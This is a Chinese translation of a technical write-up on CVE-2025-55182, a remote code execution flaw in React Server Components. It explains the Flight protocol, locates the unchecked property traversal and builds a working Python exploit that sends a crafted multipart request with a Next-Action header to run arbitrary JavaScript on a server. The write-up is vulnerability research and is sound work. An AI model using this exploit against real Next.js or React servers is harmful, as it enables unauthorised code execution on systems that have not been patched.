近期,React 维护团队披露了 一个未授权远程代码执行漏洞(RCE),该漏洞影响 React 服务器组件(React Server Components)。React 是海量网站技术栈和框架的核心依赖,包括 next.js、react-router、waku、vitejs/plugin-rsc 等,受此漏洞影响的活跃服务器多达数百万台。
本文将对该漏洞的利用链展开详尽且通俗易懂的分析,重点拆解漏洞利用程序的构建思路、实现方法,以及如何将其转化为可攻击的武器。
背景介绍
若你对 React 服务器 组件 不熟悉,需先了解:这是 React 实现服务器端渲染(Server Side Rendering)的核心方案。简单来说,React 服务器组件会将 DOM 树片段传输至后端处理,这种开发模式能缩短页面加载时间、提升用户体验一致性,还能统一前后端开发范式,但也带来了一个庞大且文档缺失的攻击面。
客户端与服务器的通信基于 React Flight 协议(React Flight Protocol)实现,该协议负责组件的序列化/反序列化,以及后端函数的触发。这些操作均在底层完成,因此元框架开发者需自行将 react-server 导出的函数集成到技术栈中(例如,next.js 的相关处理逻辑可参考:https://github.com/vercel/next.js/blob/0e973f71f133f4a0b220bbf1e3f0ed8a7c75e00d/packages/next/src/server/app-render/action-handler.ts#L879)。
多层抽象设计是导致文档缺失、标准不统一的重要原因,也使得不安全代码长期未被发现。本文将从基础概念入手,逐步讲解至漏洞验证程序(PoC)的实现过程。
React 发展简史
在深入分析漏洞前,有必要先了解 React 的发展历程及其核心解决的问题。
React 由 Facebook 于 2013 年首次发布(详见:https://github.com/facebook/react/releases/tag/v0.3.0),是一款声明式 JavaScript UI 开发库。其核心创新在于组件化架构(component-based architecture) 和虚拟 DOM(Virtual DOM),让开发者能编写高性能、易维护的 UI 代码。
状态(State)核心概念
React 的核心是状态(state)。在原生 JavaScript 中,若更新一个用于计算并渲染到 DOM 的变量,开发者需手动编写逻辑,用新值更新受影响的 DOM 元素;而 React 会通过状态(states) 自动完成这一过程——状态是决定组件渲染逻辑和行为的数据,当状态变化时,React 只会高效重渲染受影响的组件:
import { useState } from 'react';
function Counter() {
const [count, setCount] = useState(0);
return (
<div>
<p>你点击了 {count} 次</p>
<button onClick={() => setCount(count + 1)}>
点击我
</button>
</div>
);
}
这个简单示例体现了 React 的响应式模型:调用 setCount 时,React 会自动用新状态值重渲染组件。底层实现上,React 通过 协调算法(reconciliation algorithm) 对比新旧虚拟 DOM 树,高效更新真实 DOM。这一机制简化了复杂的 DOM 操作,让开发者能专注于业务逻辑,实现更高效、更稳定的开发。
打包工具与 JavaScript 生态
随着 React 应用复杂度提升,对专业构建工具的需求也日益增加。早期 React 应用依赖 webpack——一款模块打包工具,可将 JavaScript、CSS 等资源转换并打包,适配浏览器运行环境。
// webpack.config.js 示例
module.exports = {
entry: './src/index.js',
output: {
filename: 'bundle.js',
path: path.resolve(__dirname, 'dist'),
},
module: {
rules: [
{
test: /\.jsx?$/,
use: 'babel-loader',
exclude: /node_modules/,
},
],
},
};
Webpack 及同类工具(Parcel、Rollup、Vite 等)的核心作用是:
打包步骤至关重要,因为浏览器原生不支持 JSX、ES6+ 语法或 npm 模块。打包工具会将以下代码:
import React from 'react';
import Button from './components/Button';
const App = () => <Button label="点击" />;
转换为可在任意现代浏览器中运行的 JavaScript 代码。

元框架的崛起:Next.js 与服务器端渲染
尽管 React 革新了客户端开发,但也带来了核心问题:首屏加载慢、对 SEO 不友好。早期 React 应用完全基于客户端运行,用户会先下载空白 HTML 页面,等待 JavaScript 加载执行后才能看到内容,搜索引擎也难以索引这类应用。
Next.js 的诞生
由 Vercel 开发的 Next.js 于 2016 年首次发布(详见:https://github.com/vercel/next.js/releases/tag/1.0.0),作为构建在 React 之上的元框架(meta-framework),它提供了额外的架构规范和功能,核心创新是服务器端渲染(Server-Side Rendering,SSR)。
服务器端渲染(SSR)
通过 SSR 技术,服务器不再向客户端发送空白 HTML 骨架:
<!-- 传统客户端 React 应用 -->
<html>
<body>
<div id="root"></div>
<script src="bundle.js"></script>
</body>
</html>
Next.js 会在服务器端渲染 React 组件,并发送内容完整的 HTML 页面:
<!-- Next.js SSR 渲染结果 -->
<html>
<body>
<div id="root">
<div class="app">
<h1>欢迎访问</h1>
<p>内容已直接渲染完成!</p>
</div>
</div>
<script src="bundle.js"></script>
</body>
</html>
页面的 JavaScript 仍会加载并为页面“注水(hydrate)”(绑定事件处理程序),但用户能立即看到页面内容。
Next.js 提供了多种渲染策略:
// 带服务器端数据请求的 Next.js 页面
export async function getServerSideProps(context) {
const res = await fetch('https://api.example.com/data');
const data = await res.json();
return {
props: { data }, // 传递给页面组件的属性
};
}
export default function Page({ data }) {
return <div>{data.title}</div>;
}
向服务器组件的演进
尽管 SSR 具备诸多优势,但也存在局限性。2020 年,React 公布了 React 服务器组件(React Server Components,RSC),这是一次范式升级,允许组件仅在服务器端运行。
Next.js 对 RSC 的率先落地
2022 年发布的 Next.js 13 是首个通过 App Router 在生产环境中落地 React 服务器组件的主流框架。该实现方式明确区分了两种组件:
// app/page.jsx - 服务器组件(App Router 默认类型)
import { db } from '@/lib/database';
export default async function Page() {
// 这段代码仅在服务器端运行
const posts = await db.query('SELECT * FROM posts');
return (
<div>
{posts.map(post => (
<article key={post.id}>
<h2>{post.title}</h2>
<p>{post.content}</p>
</article>
))}
</div>
);
}
// components/LikeButton.jsx - 客户端组件
'use client'; // 该指令标记组件为客户端组件
import { useState } from 'react';
export function LikeButton() {
const [likes, setLikes] = useState(0);
return (
<button onClick={() => setLikes(likes + 1)}>
点赞数: {likes}
</button>
);
}
其核心优势如下:

React 对 RSC 的核心生态集成
尽管 Next.js 率先落地了 RSC,但 React 服务器组件最终作为核心功能被正式集成到 React 18 和 React 19 中。React 核心团队与各框架开发者密切合作,确保 RSC 能在整个生态中落地。
React 核心团队将 底层协议 提取为可复用的包,这使得整个生态能够基于统一的实现方式标准化,同时让各框架在具体集成时保留灵活性。
深入理解 Flight 协议
React Flight 协议(React Flight Protocol) 是支撑 React 服务器组件运行的序列化格式,它定义了 React 组件、属性(props)和数据从服务器传输到客户端的方式。理解该协议是理解本次漏洞的关键。
Flight 协议解决的问题
请看以下服务器组件示例:
// app/posts/[id]/page.jsx (服务器组件)
import { db } from '@/lib/db';
import { LikeButton } from './LikeButton';
export default async function PostPage({ params }) {
const post = await db.posts.findById(params.id);
const author = await db.users.findById(post.authorId);
const comments = await db.comments.findByPostId(post.id);
return (
<article>
<h1>{post.title}</h1>
<p>作者: {author.name}</p>
<div>{post.content}</div>
<LikeButton postId={post.id} />
<section>
{comments.map(comment => (
<div key={comment.id}>
<strong>{comment.author}</strong>: {comment.text}
</div>
))}
</section>
</article>
);
}
服务器需要传输以下内容:
- 渲染后的 HTML 结构
- 数据(帖子、作者、评论)
- 客户端组件的引用(
LikeButton) - 上述所有内容之间的关联关系
Flight 协议会将所有这些内容序列化为客户端可重构的流式格式。
Flight 协议结构
该协议以数据流的形式传输数据块,每个数据块都有唯一的 ID 标识。以下是服务器为上述组件发送的内容:
M1:["app/posts/[id]/LikeButton.jsx","LikeButton"]
J0:["$","article",null,{"children":[["$","h1",null,{"children":"Understanding RSC"}],["$","p",null,{"children":["By ","Alice"]}],["$","div",null,{"children":"Post content here..."}],["$","@1",null,{"postId":123}],["$","section",null,{"children":[...]}]]]
对其拆解分析:
实战示例:底层原理
我们来详细梳理一个真实组件的执行流程:
// app/UserProfile.jsx (服务器组件)
import { ClientButton } from './ClientButton';
export default async function UserProfile({ userId }) {
const user = await fetch(`https://api.example.com/users/${userId}`)
.then(res => res.json());
return (
<div className="profile">
<img src={user.avatar} alt={user.name} />
<h1>{user.name}</h1>
<p>{user.bio}</p>
<ClientButton label="关注" userId={userId} />
</div>
);
}
步骤 1:服务器渲染组件
当服务器接收到请求时,会执行以下操作:
- 将
UserProfile作为异步函数执行 - 等待数据请求完成
- 构建 React 元素树
- 通过 Flight 协议序列化该元素树
步骤 2:Flight 协议序列化
React 服务器会生成以下 Flight 数据流:
M1:["./ClientButton.jsx","ClientButton"]
J0:["$","div",null,{"className":"profile","children":[
["$","img",null,{"src":"https://cdn.example.com/avatar.jpg","alt":"Alice"}],
["$","h1",null,{"children":"Alice"}],
["$","p",null,{"children":"Software engineer and React enthusiast"}],
["$","@1",null,{"label":"Follow","userId":123}]
]}
以下是 React 序列化器的相关代码(源码):
function resolveClientComponent(type, props) {
// 生成客户端组件的引用
const moduleId = getModuleId(type);
return {
$$typeof: CLIENT_REFERENCE,
_moduleId: moduleId,
props: props
};
}
步骤 3:客户端重构
浏览器接收到该数据流后,会执行以下操作:
- 解析数据块
- 重构 React 元素树
- 加载被引用的客户端组件(
M1) -
为交互式组件注水
// 简化的客户端重构逻辑 function parseFlightStream(stream) { const chunks = new Map(); // 解析: M1:["./ClientButton.jsx","ClientButton"] chunks.set('M1', { type: 'module', path: './ClientButton.jsx', export: 'ClientButton' }); // 解析: J0:["$","div",...] chunks.set('J0', { type: 'jsx', element: 'div', props: { className: 'profile' }, children: [ { type: 'img', props: { src: '...', alt: 'Alice' } }, { type: 'h1', children: 'Alice' }, { type: 'p', children: 'Software engineer...' }, { type: 'ref', ref: '@1', props: { label: 'Follow', userId: 123 } } ] }); return reconstructTree(chunks.get('J0'), chunks); }
作为攻击面的 Flight 协议
假设服务器以数据块形式接收序列化数据。数据块本质上是通过网络传输的、自包含的序列化数据包。客户端按顺序接收这些数据块,并在接收到后立即处理,从而实现渐进式加载。RSC 支持通过为每个数据块标记状态(PENDING、BLOCKED、ERRORED、INITIALIZED、RESOLVED_MODEL(初始化前状态)或 CYCLIC(当前正迭代处理直至完全注水))来传递后续数据块的引用。
序列化请求示例
POST / HTTP/1.1
Host: localhost:5555
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 642
Content-Type: multipart/form-data; boundary=060160836ce39005e491f6d3738e03a4
--060160836ce39005e491f6d3738e03a4
Content-Disposition: form-data; name="0"
"J:{\"type\":\"div\",\"props\":{\"children\":[{\"$\":\"1\",\"children\":[]}]}}"
--060160836ce39005e491f6d3738e03a4
Content-Disposition: form-data; name="1"
"{\"object1\":{\"key1\":\"value1\"}}"
--060160836ce39005e491f6d3738e03a4
Content-Disposition: form-data; name="2"
"\"$@3\""
--060160836ce39005e491f6d3738e03a4
Content-Disposition: form-data; name="3"
"[\"$1:object1:key1\"]"
--060160836ce39005e491f6d3738e03a4
Content-Disposition: form-data; name="4"
"M:[\"app/components/Button.jsx\",\"default\"]"
--060160836ce39005e491f6d3738e03a4--
这是 next.js 服务器预期接收的序列化 Flight 数据流示例。需要重点注意的是,React 服务器操作(React Server Actions)会被 next.js 预处理,因此无论有多少中间件,任何有效载荷都会被传输到后端。
你可能已经注意到该协议的一些特性,例如通过 $ 引用其他数据块、通过 : 访问属性,以及解析 JSON 对象。
以下是相关数据块的更易读格式:
{
'1':'{"object1":{"key1":"value1"}}',
'2':'"$@3"',
'3':'["$1:object1:key1"]'
}
支持的数据类型(非完整列表)
所有序列化字符串均由内部函数 parseModelString 处理。以下是部分受支持的数据类型(通常称为引用类型),其中对构建漏洞验证程序(Proof of Concept)尤为重要的是 Promise、Blob 和 Chunk Reference。
| 前缀 | 类型 | 描述 |
|---|---|---|
$$ |
转义字符串(Escaped String) | 以 $ 开头的字面量字符串(例如,$$hello 反序列化后为 $hello) |
$@ |
Promise/数据块引用(Promise/Chunk Ref) | 指向可流式传输数据块或 Promise 解析值的引用,由 ID 标识(例如,$@0) |
$F |
服务器引用(Server Reference) | 指向应在服务器端执行的函数的引用(服务器操作(Server Action)),支持客户端与服务器通信 |
$B |
二进制大对象(Blob) | 指向 Blob 对象或二进制数据的引用 |
$[十六进制] |
数据块引用(Chunk Reference) | 通过十六进制 ID 指向 数据块(Chunk) 的引用(例如,$1f) |
$Q |
映射(Map) | 指向 Map 对象的引用 |
$W |
集合(Set) | 指向 Set 对象的引用 |
$K |
表单数据(FormData) | 指向 FormData 对象的引用 |
$D |
日期(Date) | 编码 Date 对象(例如,$D2024-01-01T12:00:00.000Z) |
$n |
大整数(BigInt) | 编码 BigInt 值 |
$u |
未定义(undefined) | 表示 JavaScript 中的 undefined 值 |
$N |
非数字(NaN) | 表示 JavaScript 中的 NaN(非数字)值 |
搭建调试环境
要深入理解后端逻辑,最佳方式是在 VSCode 中搭建调试环境,并在关键函数处添加断点。研究人员选择搭建 next.js 实例,并使用自行打包的模块。
package.json 代码片段
"dependencies": {
"form-data": "^4.0.5",
"next": "16.0.6",
"react": "file:/[...]/react/packed/react-19.2.0",
"react-dom": "file:/[...]/react/packed/react-dom-19.2.0",
"scheduler": "file:/[...]/react/packed/scheduler-0.28.0"
},
事后看来,如果当初正确配置了源映射(source maps),整体调试体验可能会更顺畅,但他仍通过 @maple3142 公开的漏洞利用程序,借助 JS 的 debugger; 语句设置断点,并获取了内部函数的引用。
漏洞利用
初始测试
探索该应用的常规思路是尝试获取 Object 和 Function 的原型引用。建议不熟悉 JavaScript 继承和原型概念的读者阅读 MDN 的相关文档。
发送以下数据:
chunks = {
'0':'"$1:__proto__:constructor:constructor"',
'1':'{"key":2}'
}
验证了该假设的正确性。
getChunk(response, 0).value -> ƒ Function()
接下来只需追踪参数解析的执行位置,并获取合适的利用工具(gadgets),以便针对任意输入调用构造函数。
调用栈分析
以下是剔除无关功能后的顶层调用栈概览:

这是典型的字符串引用解析过程的调用栈。
漏洞定位
如前所述,获取 Function 构造函数的引用并非难事。导致该漏洞的代码可在上述的值解析器中找到。
function getOutlinedModel<T>(
response: Response,
reference: string,
parentObject: Object,
key: string,
map: (response: Response, model: any) => T,
): T {
const path = reference.split(':');
const id = parseInt(path[0], 16);
const chunk = getChunk(response, id);
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk);
break;
}
// 初始化后状态可能发生变化
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}
return map(response, value);
case PENDING:
case BLOCKED:
case CYCLIC:
const parentChunk = initializingChunk;
chunk.then(
createModelResolver(
parentChunk,
parentObject,
key,
chunk.status === CYCLIC,
response,
map,
path,
),
createModelReject(parentChunk),
);
return (null: any);
default:
throw chunk.reason;
}
}
function createModelResolver<T>(...){
...
return value => {
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}
parentObject[key] = map(response, value);
...
}
}
以下是修复后的版本,展示了正确的实现方式:
const name = path[i];
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}
重新梳理其他函数并寻找利用工具
以下是几个关键代码片段:
function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
const prevChunk = initializingChunk;
const prevBlocked = initializingChunkBlockedModel;
initializingChunk = chunk;
initializingChunkBlockedModel = null;
const rootReference =
chunk.reason === -1 ? undefined : chunk.reason.toString(16);
const resolvedModel = chunk.value;
// 在完全解析前将状态设为循环引用
// 这一步要在解析前完成,防止解析模型时重复初始化同一数据块(例如循环引用场景)
const cyclicChunk: CyclicChunk<T> = (chunk: any);
cyclicChunk.status = CYCLIC;
cyclicChunk.value = null;
cyclicChunk.reason = null;
try {
const rawModel = JSON.parse(resolvedModel);
const value: T = reviveModel(
chunk._response,
{'': rawModel},
'',
rawModel,
rootReference,
);
...
}
}
function reviveModel(
response: Response,
parentObj: any,
parentKey: string,
value: JSONValue,
reference: void | string,
): any {
if (typeof value === 'string') {
// 此处不能使用.bind,因为需要保留this上下文
return parseModelString(response, parentObj, parentKey, value, reference);
}
if (typeof value === 'object' && value !== null) {
if (
reference !== undefined &&
response._temporaryReferences !== undefined
) {
// 存储对象引用,以备后续返回使用
registerTemporaryReference(
response._temporaryReferences,
value,
reference,
);
}
if (Array.isArray(value)) {
for (let i = 0; i < value.length; i++) {
const childRef =
reference !== undefined ? reference + ':' + i : undefined;
// $FlowFixMe[cannot-write]
value[i] = reviveModel(response, value, '' + i, value[i], childRef);
}
} else {
for (const key in value) {
if (hasOwnProperty.call(value, key)) {
const childRef =
reference !== undefined && key.indexOf(':') === -1
? reference + ':' + key
: undefined;
const newValue = reviveModel(
response,
value,
key,
value[key],
childRef,
);
if (newValue !== undefined) {
// $FlowFixMe[cannot-write]
value[key] = newValue;
} else {
// $FlowFixMe[cannot-write]
delete value[key];
}
}
}
}
}
return value;
}
与引用问题类似,代码中也未添加校验逻辑来防止数据块污染 _response 等内部对象。研究人员可以串联这些漏洞,将 Function 构造函数赋值给任意函数。
字符串解析器中存在一个可被利用的关键点:
if (value[0] === '$') {
switch (value[1]) {
case '$': {
// 转义字符串值
return value.slice(1);
}
case '@': {
// Promise类型
const id = parseInt(value.slice(2), 16);
const chunk = getChunk(response, id);
return chunk;
}
...
case 'B': {
// Blob类型
const id = parseInt(value.slice(2), 16);
const prefix = response._prefix;
const blobKey = prefix + id;
// 引用Blob前应确保其已存在于存储中
const backingEntry: Blob = (response._formData.get(blobKey): any);
return backingEntry;
}
...
}
const ref = value.slice(1);
return getOutlinedModel(response, ref, obj, key, createModel);
}
Blob 引用的反序列化过程会调用 response._formData.get(response._prefix + id),若能控制 response 参数并触发 parseModelString 函数,即可滥用此逻辑。
回溯调用树可推断,调用 parseModelString 的唯一路径是 initializeModelChunk » reviveModel。
因此,必须找到一种方法,通过完全可控的数据块触发 initializeModelChunk 函数。
我们再次梳理可用的字符串引用类型。根据详尽的文档描述,前缀为 $@ 的引用被定义为指向数据块的 Promise:
// Promise
function getChunk(response: Response, id: number): SomeChunk<any> {
const chunks = response._chunks;
let chunk = chunks.get(id);
if (!chunk) {
const prefix = response._prefix;
const key = prefix + id;
// 检查后备存储中是否存在该字段
const backingEntry = response._formData.get(key);
if (backingEntry != null) {
// 暂时假设该字段为字符串类型
chunk = createResolvedModelChunk(response, (backingEntry: any), id);
} else if (response._closed) {
// 响应已出错,不会再接收数据流,直接返回错误
chunk = createErroredChunk(response, response._closedReason);
} else {
// 等待数据流传输该数据块
chunk = createPendingChunk(response);
}
chunks.set(id, chunk);
}
return chunk;
}
function createResolvedModelChunk<T>(
response: Response,
value: string,
id: number,
): ResolvedModelChunk<T> {
// $FlowFixMe[invalid-constructor] Flow 不支持将函数作为构造函数
return new Chunk(RESOLVED_MODEL, value, id, response);
}
function Chunk(status: any, value: any, reason: any, response: Response) {
this.status = status;
this.value = value;
this.reason = reason;
this._response = response;
}
// 继承Promise.prototype以获得.catch等方法
Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: 与原生.then不同,该方法不会返回新的Promise链
Chunk.prototype.then = function <T>(
this: SomeChunk<T>,
resolve: (value: T) => mixed,
reject: (reason: mixed) => mixed,
) {
const chunk: SomeChunk<T> = this;
// 如果数据块已解析,先尝试初始化,这可能会改变其状态
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk);
break;
}
// 初始化后状态可能发生变化
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value);
break;
case PENDING:
case BLOCKED:
case CYCLIC:
if (resolve) {
if (chunk.value === null) {
chunk.value = ([]: Array<(T) => mixed>);
}
chunk.value.push(resolve);
}
if (reject) {
if (chunk.reason === null) {
chunk.reason = ([]: Array<(mixed) => mixed>);
}
chunk.reason.push(reject);
}
break;
default:
reject(chunk.reason);
break;
}
};
由此可知,getChunk 函数仅会创建一个原始的、可执行 then 方法的(thenable)数据块,并提供自定义的 then 处理程序。需注意的是,数据块被赋值给 this 关键字,会复制当前作用域的属性。若能在可控作用域内触发此逻辑,只需将状态设为 resolved_model,即可向 initializeModelChunk 传入一个“伪造”的数据块。获取该函数的引用十分简单,只需从 Chunk 原型中提取:$CHUNK_ID:__proto__.then。
由于数据块是 可执行 then 方法的对象(thenables),且元框架会等待其执行完成,因此覆盖 then 函数是实现漏洞利用的理想选择。
相关代码可见 next.js 源码:https://github.com/vercel/next.js/blob/3f19ee59f0e056241e35a7494d869b2958159cb6/packages/next/src/server/app-render/action-handler.ts#L879
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
所有包含多部分表单数据(multipart form data)且带有 Next-Action 请求头的请求,都会执行这段代码。
漏洞利用链整合
至此,向“伪造”数据块调用 initializeModelChunk 的方法已十分明确:
controlled_chunk = {
"_response": {
"_prefix": "console.log(3);",
"_formData": {
"get": "$1:constructor:constructor",
}
},
"then": "$1:__proto__:then",
# 不能使用数据块0,因为它处于循环引用状态
# 会返回解析器而非then方法
"status": "resolved_model",
"value":'"$B0"',
"reason": "" # 未设置该字段会导致initializeModelChunk报错
}
files = {# 无文件名 => 多部分表单数据格式
"0": (None, json.dumps(controlled_chunk)),
"1": (None, '"$@0"')
}
res = requests.post("http://localhost:3000/", files=files, headers={'Next-Action':'feasto'})
print(res.text)
调试器验证了该有效载荷的有效性,并创建了一个匿名函数。
该数据块同样是可执行 then 方法的对象,因此我们可以挂钩其 then 属性来触发目标函数。
最终有效载荷:
controlled_chunk = {
"_response": {
"_prefix": "console.log('thanks for reading!');",
"_formData": {
"get": "$1:constructor:constructor",
}
},
"then": "$1:__proto__:then",
"status": "resolved_model",
"value":'{"then":"$B0"}',
"reason": ""
}
files = {
"0": (None, json.dumps(controlled_chunk)),
"1": (None, '"$@0"')
}

前端框架的安全现状
前端框架已从简单的 UI 库演变为支撑全球数百万生产环境应用的关键基础设施。仅 React 就被 Meta、Netflix、Airbnb 及无数企业级应用 使用,而 Next.js 则为 TikTok、Twitch、Hulu 等高流量网站提供支撑。这种广泛的应用规模意味着,这些框架中的漏洞不仅会影响单个应用,还会给整个网络生态带来系统性风险。
框架漏洞为何具有放大效应
与传统的应用层漏洞不同,框架漏洞是效应放大器(force multipliers)。React 服务器组件中的一个漏洞,不会仅影响一个应用,而是可能波及所有实现了 RSC 的 Next.js、Remix、Waku 和 React Router 应用。这种供应链效应的影响范围极为惊人——因为开发者信任框架维护者已确保底层抽象的安全性,而一旦这份信任被打破,漏洞的影响范围会呈量级扩大。
现代框架在技术栈中还占据着独特的位置:它们处于用户输入与服务器执行之间,负责序列化、反序列化和状态管理——而这类跨边界的处理逻辑,历来是高危漏洞的重灾区。尤其是 React 服务器组件,其模糊客户端与服务器边界的设计方式,是传统安全模型未曾覆盖的。
抽象层与复杂状态机
快速交付功能的竞争压力,导致框架实现的抽象层愈发复杂。
这并非 React 独有的问题,而是现代前端架构的系统性问题。随着各框架竞相实现服务器端渲染、流式传输、孤岛架构(Islands Architecture)等性能优化特性,它们构建的复杂状态机需要处理不可信输入——这类系统极易滋生漏洞,原因如下:
- 攻击面极广,但相关文档却不完善
- JavaScript 的动态特性天然容易引发类型混淆(Type confusion) 和原型污染(prototype pollution) 问题
- 测试工作聚焦于正常业务流程(happy paths),而非针对破坏状态机的恶意输入
- 在迭代迅速的框架生态中,安全评审滞后于功能开发
框架级漏洞利用的上升趋势
当前,框架/元框架层出现高危漏洞的趋势已十分明显。
数百万应用依赖这些框架,安全社区已开始将框架视为高价值目标,而针对框架的安全研究浪潮,目前或许才刚刚起步。
与 Log4Shell 的相似性
CVE-2025-55182 与 Log4Shell(CVE-2021-44228)具有惊人的相似性,预计该漏洞的利用周期也会同样漫长。
正如 Log4j 被嵌入无数 Java 应用中一样,React 服务器组件已成为现代 Web 应用的基础组成部分。与可快速修复的应用层漏洞不同,框架漏洞需要多层级的修复方案:
- 底层框架需更新至修复版本
- Next.js、Remix、Waku 等元框架需集成这些修复
- 企业还需通过组织级的变更管理流程审批并安排更新
这一瓶颈向来会拖慢企业环境中依赖包的更新进度。例如,在 Log4j 漏洞披露数年后,仍有大量企业在运行 Java 8 和未打补丁的 Log4j 版本。预计 React 也会出现类似情况。
其他利用路径与失败尝试
本文采用了 @maple3142 发布的漏洞验证程序(PoC),他认为这是从零构建的最简洁、最易理解的方案。显然,还可通过其他方式利用现有基础能力(primitives)实现有效漏洞利用(详见:@lachlan2k 发布的初始 PoC)。
初始 PoC 采用的思路与之高度相似,但未使用 Chunk.prototype.then,而是通过 [].map 和 $CHUNK_ID:_response:_chunks 向 initializeModelChunk 传入“伪造”数据块。
在失败的尝试中,研究人员发现多个函数(如 entryKey.slice(formPrefix.length))无法被利用;另有部分函数(如 requireModule)虽存在原型污染风险,但无法提供额外的可利用基础能力。
原文:https://i0.rs/blog/a-deep-and-very-technical-analysis-of-cve-2025-55182-react2-shell/

